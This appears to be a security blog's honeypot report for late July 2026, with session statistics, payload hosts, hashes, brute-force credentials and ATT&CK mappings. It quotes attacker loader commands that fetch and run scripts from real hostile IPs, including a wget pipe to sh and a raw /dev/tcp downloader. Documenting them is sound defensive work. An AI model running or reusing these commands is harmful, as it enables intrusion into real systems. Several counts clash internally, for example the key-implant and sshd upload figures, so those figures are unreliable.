slatterysec.com/reports/2026/07/2026-07-28_2026-07-31-ssh-web-honeypot-report.html
sensors 8 up last session 4m ago 24h captures 312 unique src 87

slattery@sec:~/reports$ cat 2026-07-28_2026-07-31-ssh-web-honeypot-report.md

HONEYPOT REPORT  //  SSH + TELNET + WEB  //  2026-07-28 – 2026-07-31  //  CLOSES JULY

2026-07-28 – 2026-07-31 — SSH, Telnet + Web Honeypot Report

period   2026-07-28 – 2026-07-31
sensors   Cowrie (SSH 2222 / telnet 2223) + nginx web sensor
host   VPS / RackNerd · containerized
SSH TELNET WEB ALERT MDRFCKR NEW LOADER
SSH + TELNET SESSIONS
20,747
over 4 days
AUTH ATTEMPTS
17,080
5,353 succeeded
UNIQUE SOURCE IPs
1,197
+38% vs prior period
PAYLOAD DOWNLOADS
1,618
6 unique URLs
FILE UPLOADS
56
Redtail + sshd binary
WEB REQUESTS
9,479
1,056 unique IPs

SSH and telnet connection volume by day

4,649
07-28
4,616
07-29
5,069
07-30
6,413
07-31

Log filenames lag their contents by one day (UTC rollover); all figures here are keyed on record timestamps, not filenames.

This report closes out July. Log filenames lag their contents by one day, so the archive dated 2026-07-31 also contains 5,123 sessions timestamped 2026-08-01; those are held for the August reporting period and are excluded from every figure here.

Executive summary

With the July 25 outlier gone, this period is the more honest picture — and it inverts. Failed logins (11,727) now outnumber successes (5,353) better than two to one, the reverse of the previous period. Unique sources rose 38% to 1,197 while total sessions fell by half. More actors, each doing less: the signature of distributed brute force rather than a few loud hosts.

The clearest evidence is in the per-source counts. Eight separate addresses across 91.92.42.0/24, 45.156.87.0/24 and 77.239.124.0/24 each opened exactly 773 sessions. Identical counts across what look like unrelated netblocks is not coincidence; it is a scheduler dividing a target list into equal shares and handing each worker a quota. Reputation lookups then close the loop: every one of the 91.92.4x, 45.156.87.x and 45.153.34.x hosts is registered to a single Dutch provider, TechTies Inc., and the 77.239.124.x hosts to ROCKET & MARINICA at the same Dutch facility. Three netblocks, two companies, one operation. The same pattern appeared in the prior period at 762 sessions per host.

Even per-source counts are more useful for attribution than volume. Rate-limiting the top talkers would do nothing here — every worker is deliberately staying under whatever threshold the operator assumes exists.

The most interesting single session came from 91.92.40.18, and it is a step above the commodity traffic. Before deploying anything it walks /proc/[0-9]*/maps looking for processes with no linked libraries — a check for other implants, or for the kind of statically-linked binary its own family drops. It then attempts payload retrieval through a fallback chain: wget -O, then wget -O- piped to shell, and finally a hex-encoded script that opens /dev/tcp/91.199.133.133/8080 directly and hand-writes an HTTP request. That last method needs neither wget nor curl to exist on the target.

The script also contains explanatory comments — # Method 1: wget with -O flag (most common) — which survived into the deployed version. Someone wrote this to be read by other people.

The mdrfckr key implant doubled to 1,461 executions, still writing the same a8460f44… file. A binary named sshd also appeared in the upload set for the first time, alongside the usual Redtail architecture spread.

On the web sensor, requests rose to 9,479 with a shift in character: systematic WordPress admin enumeration, with /wp-admin/index.php, profile.php, edit.php and plugins.php each hit exactly 84 times. The same even-quota fingerprint as the SSH traffic.

Notable sessions — SSH and telnet

2026-07-28T08:19:16Z MULTI-STAGE LOADER 91.92.40.18
Anti-implant process scan, then a three-method payload fallback chain ending in a raw /dev/tcp downloader.
session: 72df1a8d77fb
protocol: telnet
write test: echo WRITABLE >/tmp/.testfile ; ls -l ; rm -f
recon: for pid in /proc/[0-9]*; do … case $line in */lib/*|*/lib64/*|*.so*) suspicious=false
method 1: wget hxxp://91.199.133.133:8080/deploy.sh -O /tmp/.ds && sh /tmp/.ds
method 2: wget hxxp://91.199.133.133:8080/deploy.sh -O- | sh
method 3: exec 3<>/dev/tcp/91.199.133.133/8080 ; GET /real_$ARCH HTTP/1.0
staging: hex-encoded via echo -ne into /tmp/.dl, then sh .dl
repeats: observed 3x from this host on 2026-07-28
2026-07-28 – 2026-07-31 COORDINATED SPRAY 91.92.42.0/24, 45.156.87.0/24, 77.239.124.0/24
Eight hosts across three netblocks, each opening exactly 773 sessions.
hosts: 91.92.42.81, 91.92.42.7, 91.92.42.36, 91.92.42.172, 45.156.87.93, 45.156.87.216, 77.239.124.250
sessions each: 773
client banner: SSH-2.0-libssh_0.9.6
assessment: central scheduler with per-worker quota; no single host exceeds the group
2026-07-28 – 2026-07-31 PAYLOAD DROP 94.154.43.88
Second-stage shell script retrieved 12 times under a name that suggests the operator's own error handling.
url: hxxp://94.154.43.88/ohshit.sh
retrievals: 12
related: hxxp://51.75.118.165:20130/dl/loader.sh, hxxp://187.77.145.183:8081/payload.sh
2026-07-28 – 2026-07-31 KEY IMPLANT multiple sources
mdrfckr campaign doubles to 1,411 executions; file written is unchanged from the prior period.
executions: 1,411 (up from 708)
sha256: a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2
new upload: a binary named sshd, 7 observations

Notable sessions — web

2026-07-28 – 2026-07-31 WP ENUMERATION distributed
WordPress administrative paths requested in equal quantities, matching the SSH quota pattern.
paths: /wp-admin/index.php, /profile.php, /edit.php, /plugins.php
hits each: 84
plus: /wp-login.php (91), /wp-admin/install.php?step=1 (50)
note: identical counts across distinct paths implies a fixed checklist per worker
2026-07-28 – 2026-07-31 TLS ON PLAINTEXT distributed
Requests whose method field begins with a TLS ClientHello record header, sent to the plaintext listener.
observed method: \x16\x03\x01\x01
count: 19
status returned: 400
note: scanner assuming HTTPS on the port; 588 total 400s this period
2026-07-28 – 2026-07-31 CRAWLER BASELINE Applebot
436 requests from a legitimate crawler — useful as a baseline for what non-hostile traffic looks like here.
user-agent: Mozilla/5.0 (compatible; Applebot/0.1; +http://www.apple.com/go/applebot)
requests: 436
note: recorded deliberately; not all volume on a honeypot is an attack

Indicators

Payload hosts and URLs

Reputation figures are AbuseIPDB confidence scores with total report counts in parentheses. Read them against the source addresses further down.

hostservesrefsscorenetwork
171.244.44.251nerv.x86_64 — scanner and payload host are the same address20492% (69)VN · Viettel Group
91.199.133.133deploy.sh :8080 — payload rotated mid-period80100% (87)MD · ALEXHOST SRL
94.154.43.88ohshit.sh — HTTP with anonymous FTP fallback36100% (277)TR · Storm Industries LLC
217.60.195.113Redtail telnet loader over HTTPS, cert validation disabled1229% (7)NL · SWISSNET LLC
51.75.118.165BlahajNet.x86_64 and loader.sh on :2013069% (1)FR · OVH SAS
5.182.210.61/ok shell script20% (1)NL · SpectraIP B.V.
187.77.145.183payload.sh :8081, piped straight to bash118% (3)MY · Hostinger Operations UAB

Payload hashes

Each hash links to VirusTotal rather than carrying a transcribed detection count, which would be stale within a month.

sha256seen asdeliveryobs
81760addaf68ddd3c15a24e180a2991f6fb4ab330a1650e0a363760cd0c36560
virustotal → 07-28 only
deploy.sh — first build hxxp://91.199.133.133:8080/deploy.sh 8
e479462010c2514b9fa8513bbd3d515fe665d58d6514f7e78411131ff3090ed9
virustotal → 07-29 → 07-31
deploy.sh — second build hxxp://91.199.133.133:8080/deploy.sh 32
b5497b2c9b6a0ea89688e018306536652081b57a916dba389fcb287703c17d86
virustotal → 07-28 only
ohshit.sh hxxp://94.154.43.88 · HTTP + anon FTP 12
b5147693ed4a8744cd3c32e2a2b8c6ec77acc6c8f0494b994398161a0ba009c5
virustotal → 07-28 → 07-31
/dev/tcp stage 91.92.40.18 20
0dc95fb4077cce0bff19aa1a77109d059dff6503bbf6c1b0dd2f41fc0a4c88e7
virustotal → 07-28 → 07-31
/dev/tcp stage 91.92.40.18 20
8a68d1c08ea31250063f70b1ccb5051db1f7ab6e17d46e9dd3cc292b9849878b
virustotal → 07-28 → 07-30
Redtail staging archive 130.12.180.51 (+2) 7
81760add… and e4794620… were both served from hxxp://91.199.133.133:8080/deploy.sh, but they are different files. The first appears only on July 28; the second takes over from July 29 with no overlap. The operator replaced the payload mid-period. A URL-based indicator would have missed that — only hashing every retrieval catches it.

Other captured artifacts

These were captured by the sensor and hashed alongside the payloads, but neither is a malware sample. Both are still usable indicators — the authorized_keys file is byte-identical across every mdrfckr instance, which makes it a reliable campaign signature. Expect low or zero detections on VirusTotal; that is the correct result for a text file and a newline, not a sign the lookup failed.

sha256what it isnoteobs
a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2
virustotal → 204 source IPs
authorized_keys written by mdrfckr text file — a single attacker-controlled public key 1,461
01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
virustotal → 38 source IPs
1-byte capture sha256 of a single newline character 50

Source addresses

Busiest sources on both sensors. Confidence tracks how often an address has been reported elsewhere, which is a measure of volume rather than of danger — compare these scores with the payload hosts above.

sourcesensorcountscorereportsnetwork
45.156.87.254ssh/telnet1,043100%3188NL · TechTies Inc.
91.92.42.81ssh/telnet773100%2249NL · TechTies Inc.
91.92.42.7ssh/telnet773100%2496NL · TechTies Inc.
45.156.87.216ssh/telnet773100%2577NL · TechTies Inc.
91.92.42.36ssh/telnet773100%3023NL · TechTies Inc.
45.156.87.93ssh/telnet773100%2456NL · TechTies Inc.
77.239.124.250ssh/telnet773100%1516NL · ROCKET & MARINICA LTD
91.92.42.172ssh/telnet773100%3590NL · TechTies Inc.
140.82.15.183web519100%54US · Vultr Holdings, LLC
192.30.242.234web507100%42US · Majestic Hosting Solutions, LLC
207.148.28.169web506100%56US · Vultr Holdings, LLC
144.202.13.144web476100%31US · Vultr Holdings, LLC
149.28.58.172web460100%49US · Vultr Holdings, LLC

Attacker behaviour

Credentials attempted

usernamepasswordattempts
root3245gs5662d341,414
345gs5662d34345gs5662d341,404
root<empty>256
rootadmin171
adminadmin60
root11111129
root123428
root12312327
root1234524
root------fuck------22
root12322
root12345622

Client fingerprints

fingerprinttypesessions
SSH-2.0-Goversion banner9,309
SSH-2.0-libssh_0.9.6version banner6,065
SSH-2.0-libssh_0.11.1version banner719
SSH-2.0-PuTTY_Release_0.84version banner237
0a07365cc01fa9fc82608ba4019af499HASSH7,969
f555226df1963d1d3c09daf865abdc9aHASSH5,978
03a80b21afa810682a776a7d42e5e6fbHASSH643

Web paths requested

request URIhits
/1,246
&lt;empty&gt;425
/favicon.ico237
/login91
/wp-login.php91
/robots.txt84
/wp-admin/index.php84
/wp-admin/profile.php84
/wp-admin/edit.php84
/wp-admin/plugins.php84
/SDK/webLanguage82
/.env65
/sitemap.xml58
/wp-admin/install.php?step=150

Raw log excerpts

slattery@sec:~/archive$ jq -r 'select(.eventid=="cowrie.session.connect") | .src_ip' cowrie.2026-07-2[7-9].json cowrie.2026-07-30.json | sort | uniq -c | sort -rn | head -8

   1043 45.156.87.254
    773 91.92.42.81
    773 91.92.42.7
    773 91.92.42.36
    773 45.156.87.93
    773 77.239.124.250
    773 91.92.42.172
    773 45.156.87.216

slattery@sec:~/archive$ jq -r 'select(.eventid=="cowrie.session.file_download") | .url' cowrie.2026-07-2*.json | sort | uniq -c | sort -rn

    204 hxxp://171.244.44.251:80/nerv.x86_64   (command only, not captured)
     40 hxxp://91.199.133.133:8080/deploy.sh
     12 hxxp://94.154.43.88/ohshit.sh
      2 hxxp://51.75.118.165:20130/loader.sh
      2 hxxp://51.75.118.165:20130/dl/BlahajNet.x86_64
      1 hxxp://5.182.210.61/ok
      1 hxxp://187.77.145.183:8081/payload.sh
Payload URLs are defanged. The download hosts were live during the collection window and should be treated as hostile.

MITRE ATT&CK mapping

IDtechniqueobserved as
T1110.001Brute Force: Password Guessing17,080 attempts with failures outnumbering successes 2:1 — the inverse of the prior period
T1583.003Acquire Infrastructure: Virtual Private Server13 of the busiest sources registered to a single Dutch provider, TechTies Inc.; quotas of exactly 773 sessions per host
T1057Process Discovery91.92.40.18 walking /proc/[0-9]*/maps for processes with no linked libraries — checking for competing implants
T1105Ingress Tool TransferThree-method fallback: wget -O, then wget -O- | sh, then a raw /dev/tcp/91.199.133.133/8080 socket with a hand-written GET
T1132.001Data Encoding: Standard EncodingDownloader staged as hex via echo -ne into /tmp/.dl before execution
T1571Non-Standard PortPayloads served on :8080, :8081 and :20130; anonymous FTP used as a fallback channel for ohshit.sh
T1082System Information DiscoveryArchitecture resolved into the request path itself — GET /real_$ARCH
T1098.004Account Manipulation: SSH Authorized Keys1,461 mdrfckr executions, double the prior period, same a8460f44… file
T1036.005Masquerading: Match Legitimate Name or LocationA binary named sshd uploaded 14 times across three distinct hashes, never executed on-sensor
T1595.002Active Scanning: Vulnerability ScanningWordPress admin enumeration with index.php, profile.php, edit.php and plugins.php each hit exactly 84 times
T1046Network Service Discovery19 requests whose method field begins \x16\x03\x01 — a TLS ClientHello aimed at the plaintext listener